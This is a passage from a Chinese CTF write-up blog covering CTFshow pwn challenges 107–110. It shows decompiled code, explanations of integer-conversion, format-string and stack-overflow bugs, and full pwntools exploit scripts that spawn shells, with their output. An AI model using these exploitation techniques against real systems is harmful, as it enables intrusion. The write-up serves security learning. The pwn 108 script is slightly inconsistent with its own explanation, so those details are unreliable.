p_nptr[n4_1] = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//getch函数的核心功能是：安全读取指定长度的用户输入到缓冲区，并自动添加字符串结束符。</span></span><br></pre></td></tr></table></figure><p><strong>漏洞：有符号整数与无符号整数的转换问题</strong></p><ul><li><code>n4</code> 在 <code>show</code> 函数中是 <strong><code>int</code> 类型</strong>（有符号），但 <code>getch</code> 函数的第二个参数是 <strong><code>unsigned int</code> 类型</strong>（无符号）。</li><li>当用户输入一个能让atoi返回负数的字符串（例如输入-1）时：<ul><li><code>n4</code> 会被解析为 <code>-1</code>（有符号整数）。</li><li>检查 <code>n4 &gt; 32</code> 时，<code>-1 &gt; 32</code> 为假，绕过限制检查。</li><li>调用 <code>getch(nptr, n4)</code> 时，<code>n4</code>（<code>-1</code>）会被转换为 <code>unsigned int</code> 类型，在 32 位系统中结果为 <code>0xFFFFFFFF</code>（约 42 亿），即允许读取<strong>远超 32 字节</strong>的内容。</li></ul></li></ul><p><strong>利用思路：</strong></p><ol><li>一开始输入负数，绕过长度限制，造成溢出</li><li>利用printf函数泄露程序的libc版本，去算出system和‘&#x2F;bin&#x2F;sh‘的地址</li><li>溢出覆盖返回地址去执行system（‘&#x2F;bin&#x2F;sh’）</li></ol><p>首先在getch中读入长度被强制转换为unsigned int，此时-1变成了4294967295。使得我们 能够进行缓冲区溢出攻击,后面的就是常规的ret2libc了这里就不再赘述了。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/i386-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line">main = elf.symbols[<span class="string">&#x27;main&#x27;</span>] <span class="comment">#main函数地址（用于二次溢出时跳转回main）</span></span><br><span class="line">printf_plt = elf.plt[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line">printf_got = elf.got[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line"></span><br><span class="line">io.sendlineafter(<span class="string">b&#x27;read? &#x27;</span>,<span class="string">b&#x27;-1&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;bytes of data!\n&#x27;</span>)</span><br><span class="line">payload = cyclic(<span class="number">0x2c</span>+<span class="number">4</span>) + p32(printf_plt) + p32(main) + p32(printf_got)</span><br><span class="line"><span class="comment">#填充垃圾数据+覆盖返回地址为printf的PLT地址（调用printf）+printf执行完后跳回main函数（便于第二次溢出）+printf的参数：printf_got（即输出GOT表中存储的printf实际地址）</span></span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;\n&#x27;</span>) <span class="comment">#You said: %s\n</span></span><br><span class="line">printf = u32(io.recv(<span class="number">4</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(printf))</span><br><span class="line"></span><br><span class="line">libc_base = printf - libc.sym[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line">system = libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">b&quot;/bin/sh&quot;</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 再次与程序交互（因第一次溢出后跳回了main，程序重新执行）</span></span><br><span class="line">io.sendlineafter(<span class="string">b&#x27;read? &#x27;</span>,<span class="string">b&#x27;-1&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;bytes of data!\n&#x27;</span>)</span><br><span class="line">payload = cyclic(<span class="number">0x2c</span>+<span class="number">4</span>) + p32(system) + p32(main) + p32(bin_sh)</span><br><span class="line"><span class="comment">#同样填充垃圾数据覆盖缓冲区和ebp+覆盖返回地址为system函数地址+system执行完后跳回main（可选，不影响shell获取）+system的参数：/bin/sh字符串地址</span></span><br><span class="line"></span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 342</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] <span class="string">&#x27;/lib/i386-linux-gnu/libc.so.6&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">0xf711adb0</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">You said: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa04\x11\xf7\xb8\x85\x04\x08\xe8&#125;(\xf7</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn-108（不懂）"><a href="#pwn-108（不懂）" class="headerlink" title="pwn 108（不懂）"></a>pwn 108（不懂）</h2><h6 id="Hint：学累了吧，来玩个游戏"><a href="#Hint：学累了吧，来玩个游戏" class="headerlink" title="Hint：学累了吧，来玩个游戏"></a>Hint：学累了吧，来玩个游戏</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br></pre></td></tr></table></figure><p>64位保护全开</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">main</span><span class="params">(__int64 a1, <span class="type">char</span> **a2, <span class="type">char</span> **a3)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> n2; <span class="comment">// [rsp+8h] [rbp-28h]</span></span><br><span class="line">  <span class="type">int</span> n2_1; <span class="comment">// [rsp+Ch] [rbp-24h]</span></span><br><span class="line">  __int64 v6; <span class="comment">// [rsp+10h] [rbp-20h]</span></span><br><span class="line">  _BYTE v7[<span class="number">3</span>]; <span class="comment">// [rsp+25h] [rbp-Bh] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v8; <span class="comment">// [rsp+28h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v8 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  sub_9BA(a1, a2, a3);</span><br><span class="line">  sub_A55();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Free shooting games! Three bullets available!&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;I placed the target near: %p\n&quot;</span>, &amp;<span class="built_in">puts</span>); <span class="comment">// 泄露puts函数地址</span></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;shoot!shoot!&quot;</span>);</span><br><span class="line">  v6 = sub_B78();  <span class="comment">//输入要打的地址，由于里面有atol函数转化为数字，所以不能用p64,要有str()</span></span><br><span class="line">  <span class="keyword">for</span> ( n2 = <span class="number">0</span>; n2 &lt;= <span class="number">2</span>; ++n2 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;biang!&quot;</span>);</span><br><span class="line">    read(<span class="number">0</span>, &amp;v7[n2], <span class="number">1u</span>); <span class="comment">// 每次读1字节，共3字节到v7数组</span></span><br><span class="line">    getchar();  <span class="comment">// 吸收输入后的换行符（避免干扰下一次输入）</span></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)sub_BC2(v7) ) <span class="comment">// 检查v7（用户输入）是否满足条件</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">for</span> ( n2_1 = <span class="number">0</span>; n2_1 &lt;= <span class="number">2</span>; ++n2_1 )</span><br><span class="line">      *(_BYTE *)(n2_1 + v6) = v7[n2_1]; <span class="comment">// 将v7的3字节写入v6指向的地址</span></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( !dlopen(<span class="number">0</span>, <span class="number">1</span>) )  <span class="comment">//测试程序是否能够正常使用动态链接功能</span></span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;bye~&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进sub_B78()：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 <span class="title function_">sub_B78</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> nptr[<span class="number">24</span>]; <span class="comment">// [rsp+0h] [rbp-20h] BYREF // 存储输入的字符串</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v2; <span class="comment">// [rsp+18h] [rbp-8h] </span></span><br><span class="line"></span><br><span class="line">  v2 = __readfsqword(<span class="number">0x28u</span>); <span class="comment">// 栈保护 canary</span></span><br><span class="line">  sub_AE3(nptr, <span class="number">16</span>); <span class="comment">// 读取最多16字节输入到nptr</span></span><br><span class="line">  <span class="keyword">return</span> atol(nptr);  <span class="comment">// 将十进制字符串转换为长整数（64位），作为v6的值</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们可以控制v6的值，以及v7[n2_1]，并且程序打印了puts函数的真实地址，相当于拿到了libc基址。也就是任意地址任意写。</p><p>跟进sub_BC2：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">sub_BC2</span><span class="params">(_BYTE *a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> ( (*a1 != <span class="number">0xC5</span> || a1[<span class="number">1</span>] != <span class="number">0xF2</span>) &amp;&amp; (*a1 != <span class="number">34</span> || a1[<span class="number">1</span>] != <span class="number">0xF3</span>) &amp;&amp; *a1 != <span class="number">0x8C</span> &amp;&amp; a1[<span class="number">1</span>] != <span class="number">0xA3</span> )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;You always want a Gold Finger!&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>不允许数组的前两个元素同时为 0xc5 和 0xf2 ，或者 0x22 和 0xf3 ，或者 0x8c 和 0xa3</p><p>简单来说就是限制了gadget：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ one_gadget ./libc-database/db/libc6_2.27-3ubuntu1_amd64.so</span><br><span class="line">0x4f2be execve(<span class="string">&quot;/bin/sh&quot;</span>, rsp+0x40, environ)</span><br><span class="line">constraints:</span><br><span class="line">  address rsp+0x50 is writable</span><br><span class="line">  rsp &amp; 0xf == 0</span><br><span class="line">  rcx == NULL || &#123;rcx, <span class="string">&quot;-c&quot;</span>, r12, NULL&#125; is a valid argv</span><br><span class="line"></span><br><span class="line">0x4f2c5 execve(<span class="string">&quot;/bin/sh&quot;</span>, rsp+0x40, environ)</span><br><span class="line">constraints:</span><br><span class="line">  address rsp+0x50 is writable</span><br><span class="line">  rsp &amp; 0xf == 0</span><br><span class="line">  rcx == NULL || &#123;rcx, rax, r12, NULL&#125; is a valid argv</span><br><span class="line"></span><br><span class="line">0x4f322 execve(<span class="string">&quot;/bin/sh&quot;</span>, rsp+0x40, environ)</span><br><span class="line">constraints:</span><br><span class="line">  [rsp+0x40] == NULL || &#123;[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...&#125; is a valid argv</span><br><span class="line"></span><br><span class="line">0x10a38c execve(<span class="string">&quot;/bin/sh&quot;</span>, rsp+0x70, environ)</span><br><span class="line">constraints:</span><br><span class="line">  [rsp+0x70] == NULL || &#123;[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...&#125; is a valid argv</span><br></pre></td></tr></table></figure><p>有两种方法，要么使用<strong>现有 one_gadget 中已有可用选项</strong></p><p><code>0x4f2be</code> 的前两字节 <code>0xbe 0xf2</code> 完全符合 <code>sub_BC2</code> 的校验规则（不触发任何禁忌），因此<strong>无需调整地址，可直接使用</strong>。</p><p>其约束条件为：</p><ul><li><code>rsp+0x50</code> 可写</li><li><code>rsp &amp; 0xf == 0</code>（栈对齐）</li><li><code>rcx == NULL</code> 或 <code>&#123;rcx, &quot;-c&quot;, r12, NULL&#125;</code> 是有效 argv</li></ul><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">还有一种方法是将one_gadget地址减5，以此来绕过检查</span><br><span class="line"></span><br><span class="line">利用exit hook劫持 exit函数的调用流程exit函数---&gt;*run_exit_handlers**函数**---&gt;dl_fini**函数**---&gt;*</span><br><span class="line"></span><br><span class="line">*_dl_rtld_lock_recursive**指 针（这是个结构体指针变量） 而*dl_rtld_lock_recursive这个指针又指向了</span><br><span class="line"></span><br><span class="line">**rtld_lock_default_lock_recursive** **最后又执行了** rtld_lock_default_lock_recursive 因此我们就把这个_dl_rtld_lock_recursive指针当做跳板，去将它指向的内容 （__rtld_lock_default_lock_recursive）也就是修改为one_gadget。</span><br><span class="line"></span><br><span class="line">先简单了解一下，后续在堆中会更加详细讲解相关内容。</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>,os=<span class="string">&#x27;linux&#x27;</span>,log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-database/db/libc6_2.27-3ubuntu1_amd64.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;0x&#x27;</span>)</span><br><span class="line">puts_addr = <span class="built_in">int</span>(io.recv(<span class="number">12</span>),<span class="number">16</span>)</span><br><span class="line">libc_base = puts_addr - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">strlen = libc_base + <span class="number">0x3eb0a8</span></span><br><span class="line"></span><br><span class="line">sss = <span class="built_in">str</span>(strlen).encode()</span><br><span class="line">io.sendline(sss)</span><br><span class="line">one_gadget = libc_base + <span class="number">0xe54fe</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>):</span><br><span class="line">io.sendlineafter(<span class="string">b&quot;biang!\n&quot;</span>, <span class="built_in">chr</span>(one_gadget &amp; <span class="number">0xff</span>))</span><br><span class="line">one_gadget = one_gadget &gt;&gt; <span class="number">8</span></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure><h2 id="pwn-109"><a href="#pwn-109" class="headerlink" title="pwn 109"></a>pwn 109</h2><h6 id="Hint：多种姿势"><a href="#Hint：多种姿势" class="headerlink" title="Hint：多种姿势"></a>Hint：多种姿势</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX disabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br></pre></td></tr></table></figure><p>32位关闭Canary与NX有可读可写可执⾏的段，第⼀反应还是还是shellcode打</p><p>IDA查看程序逻辑，依据函数功能修改函数名后如下：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> p_n2; <span class="comment">// [esp+0h] [ebp-40Ch] BYREF</span></span><br><span class="line">  <span class="type">char</span> buf[<span class="number">1024</span>]; <span class="comment">// [esp+4h] [ebp-408h] BYREF</span></span><br><span class="line">  <span class="type">int</span> *p_argc; <span class="comment">// [esp+404h] [ebp-8h]</span></span><br><span class="line"></span><br><span class="line">  p_argc = &amp;argc;</span><br><span class="line">  init();</span><br><span class="line">  logo();</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!&quot;</span>);</span><br><span class="line">      __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;p_n2);</span><br><span class="line">      getchar();</span><br><span class="line">      <span class="keyword">if</span> ( p_n2 != <span class="number">2</span> )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      printf_w(buf);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( p_n2 == <span class="number">3</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">if</span> ( p_n2 == <span class="number">1</span> )</span><br><span class="line">      leak_buf(buf, <span class="number">0x400u</span>);</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;What do you mean by %d&quot;</span>, p_n2);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;See you~&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发现有⼀个格式化字符串漏洞，还会将栈地址泄漏出来：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">printf_w</span><span class="params">(<span class="type">char</span> *format)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(format);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">ssize_t</span> __cdecl <span class="title function_">leak_buf</span><span class="params">(<span class="type">void</span> *buf, <span class="type">size_t</span> nbytes)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%x\n&quot;</span>, buf);</span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, nbytes);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那么我们只需要在栈上部署好shellcode，再利⽤格式化字符串漏洞更改main函数地址返回到shellcode即可。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">$ gdb pwn</span><br><span class="line"></span><br><span class="line">pwndbg&gt; r</span><br><span class="line">What you want to do?</span><br><span class="line">1) Input someing!</span><br><span class="line">2) Hang out!!</span><br><span class="line">3) Quit!!!</span><br><span class="line">1</span><br><span class="line">ffb201a0</span><br><span class="line">^C</span><br><span class="line"></span><br><span class="line">► 0 0xebd83579 __kernel_vsyscall+9 #系统调用层</span><br><span class="line">   1 0xebc4c9d7 read+55 #正在执行read函数，读取输入到buf</span><br><span class="line">   2 0x58d268db None #这应该是你重命名的`leak_buf`函数，因为它调用了read</span><br><span class="line">   3 0x58d2698e None #这应该是`main`函数，因为`leak_buf`被main调用</span><br><span class="line">   ...</span><br><span class="line">──────────────────────────────────────────────────────────────────────────────────────────────────</span><br><span class="line">pwndbg&gt; frame 3 #切换到main函数的栈帧</span><br><span class="line">#3  0x58d2698e in ?? ()</span><br><span class="line">pwndbg&gt; info frame</span><br><span class="line">Stack level 3, frame at 0xffb205c0:</span><br><span class="line"> eip = 0x58d2698e; saved eip = 0xebb5acb9</span><br><span class="line"> called by frame at 0xffb20620, caller of frame at 0xffb20180</span><br><span class="line"> Arglist at 0xffb205a8, args:</span><br><span class="line"> Locals at 0xffb205a8, Previous frame&#x27;s sp is 0xffb205c0</span><br><span class="line"> Saved registers:</span><br><span class="line">  ebx at 0xffb205a4, ebp at 0xffb205a8, eip at 0xffb205bc</span><br><span class="line">  </span><br><span class="line">pwndbg&gt; x/x $ebp + 4 #$ebp是上一步得到的main栈帧基地址（标准理论返回地址位置）</span><br><span class="line">0xffb205ac:0xebb5acb9</span><br><span class="line">pwndbg&gt; x/x $ebp + 0x14 #实际生效的返回地址位置</span><br><span class="line">0xffb205bc:0xebb5acb9</span><br></pre></td></tr></table></figure><p>偏移量 &#x3D; 返回地址（ret_addr） - buf 地址（ffb201a0）</p><p>0xffb205bc - 0xffb201a0 &#x3D; 0x41c</p><p>中间的<code>0x10</code>字节（<code>0xffb205ac</code>到<code>0xffb205bc</code>）很可能存储了 4 个被保存的寄存器（如<code>ebx</code>、<code>esi</code>、<code>edi</code>、<code>edx</code>），而函数在返回前通过调整栈指针（<code>esp</code>），使得<code>ret</code>指令最终读取的是<code>$ebp + 0x14</code>处的复制值，而非原始的<code>$ebp + 4</code>处的值。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.sendlineafter(<span class="string">b&#x27;Quit!!!\n&#x27;</span>,<span class="string">b&#x27;1&#x27;</span>) <span class="comment"># 选择选项1，进入leak_buf函数</span></span><br><span class="line">stack = <span class="built_in">int</span>(io.recvuntil(<span class="string">b&#x27;\n&#x27;</span>),<span class="number">16</span>) <span class="comment"># 接收buf的地址（leak_buf会用%x输出）</span></span><br><span class="line">ret = stack + <span class="number">0x41c</span> <span class="comment"># 计算main函数返回地址在栈上的位置</span></span><br><span class="line"></span><br><span class="line">payload = fmtstr_payload(<span class="number">16</span>,&#123;ret:stack&#125;) <span class="comment"># 生成格式化字符串</span></span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.sendlineafter(<span class="string">b&#x27;Quit!!!\n&#x27;</span>,<span class="string">b&#x27;2&#x27;</span>) <span class="comment"># 选择选项2，触发printf_w漏洞,直接用printf(format)输出buf的内容</span></span><br><span class="line"></span><br><span class="line">io.sendlineafter(<span class="string">b&#x27;Quit!!!\n&#x27;</span>,<span class="string">b&#x27;1&#x27;</span>)  <span class="comment"># 再次选择选项1，进入leak_buf</span></span><br><span class="line">io.sendline(asm(shellcraft.sh())) <span class="comment"># 往buf中写入shellcode</span></span><br><span class="line"></span><br><span class="line">io.sendlineafter(<span class="string">b&#x27;Quit!!!\n&#x27;</span>,<span class="string">b&#x27;3&#x27;</span>) <span class="comment"># 选择选项3，退出main函数</span></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 265</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">See you~</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line"> ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn-110"><a href="#pwn-110" class="headerlink" title="pwn 110"></a>pwn 110</h2><h6 id="Hint：溢出溢出溢出"><a href="#Hint：溢出溢出溢出" class="headerlink" title="Hint：溢出溢出溢出"></a>Hint：溢出溢出溢出</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX disabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位⼏乎保护全关</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl __noreturn <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(&amp;argc);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;1+1= ?&quot;</span>);</span><br><span class="line">  input();</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    <span class="built_in">puts</span>(str);                                  <span class="comment">// &quot;WTF?&quot;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进input函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int16 *<span class="title function_">input</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  __int16 n1024; <span class="comment">// [esp+Ah] [ebp-41Eh] BYREF</span></span><br><span class="line">  _BYTE buf[<span class="number">1025</span>]; <span class="comment">// [esp+Dh] [ebp-41Bh] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int16 n1024_1; <span class="comment">// [esp+40Eh] [ebp-1Ah] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">strcpy</span>(buf, <span class="string">&quot;???&quot;</span>); <span class="comment">// 将字符串&quot;???&quot;复制到buf（占前3字节，自动补&#x27;\0&#x27;终止符）</span></span><br><span class="line">  *(_DWORD *)&amp;buf[<span class="number">4</span>] = <span class="number">0</span>; <span class="comment">// 将buf[4]~buf[7]共4字节设为0（清空）</span></span><br><span class="line">  *(_DWORD *)&amp;buf[<span class="number">1021</span>] = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">memset</span>(&amp;buf[<span class="number">7</span>], <span class="number">0</span>, <span class="number">4</span> * (((&amp;buf[<span class="number">4</span>] - &amp;buf[<span class="number">7</span>] + <span class="number">1021</span>) &amp; <span class="number">0xFFFFFFFC</span>) &gt;&gt; <span class="number">2</span>));</span><br><span class="line">   <span class="comment">//&amp;buf[4] - &amp;buf[7]是-3，加 1021 得 1018，对齐后为 1016 字节，因此从buf[7]开始填充 1016 个0。</span></span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%hd&quot;</span>, &amp;n1024);  <span class="comment">// 读取有符号短整数（int16_t）到n1024[范围 - 32768~32767]</span></span><br><span class="line">  <span class="keyword">if</span> ( n1024 &gt; <span class="number">1024</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;You are soooooooooo ******&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  n1024_1 = n1024; <span class="comment">// 转换为无符号短整数（uint16_t）</span></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%x %u\n&quot;</span>, buf, (<span class="type">unsigned</span> __int16)n1024);</span><br><span class="line">  <span class="comment">//%x打印buf的地址（十六进制），这是栈上buf的起始地址，后续可直接跳转到这里执行 shellcode。</span></span><br><span class="line">  <span class="comment">//%u打印n1024的无符号值（确认输入长度是否生效）。</span></span><br><span class="line">  read(<span class="number">0</span>, buf, n1024_1);</span><br><span class="line">  qmemcpy(str, buf, <span class="number">0x400u</span>);                    <span class="comment">// &quot;WTF?&quot;</span></span><br><span class="line">  unk_804B460 = buf[<span class="number">1024</span>];</span><br><span class="line">  <span class="keyword">return</span> &amp;n1024_1;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>核心漏洞总结:</strong></p><ol><li><strong>整数溢出</strong>：通过输入<code>-1</code>（作为<code>int16_t</code>），转换为<code>uint16_t</code>后变成<code>65535</code>，绕过<code>n1024 &lt;= 1024</code>的限制，允许读取远超<code>buf</code>大小的数据。</li><li><strong>栈溢出</strong>：<code>read</code>函数按<code>65535</code>字节写入<code>buf</code>（仅 1025 字节大小），会覆盖栈上的返回地址。</li><li><strong>地址泄露</strong>：<code>printf</code>直接打印<code>buf</code>的栈地址，为跳转执行 shellcode 提供了import目标地址。</li></ol><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">有符号整数与无符号整数的二进制表示方式不同，且转换时二进制位本身不会改变，只会改变解读方式。</span><br><span class="line"></span><br><span class="line">具体原理：</span><br><span class="line">int16_t（16 位有符号整数）如何表示 - 1？</span><br><span class="line">计算机中，有符号整数用「二进制补码」表示：</span><br><span class="line">正数的补码 = 原码（直接表示）</span><br><span class="line">负数的补码 = 绝对值的原码「取反加 1」</span><br><span class="line">对于 - 1（int16_t）：</span><br><span class="line">绝对值 1 的 16 位原码是：0000 0000 0000 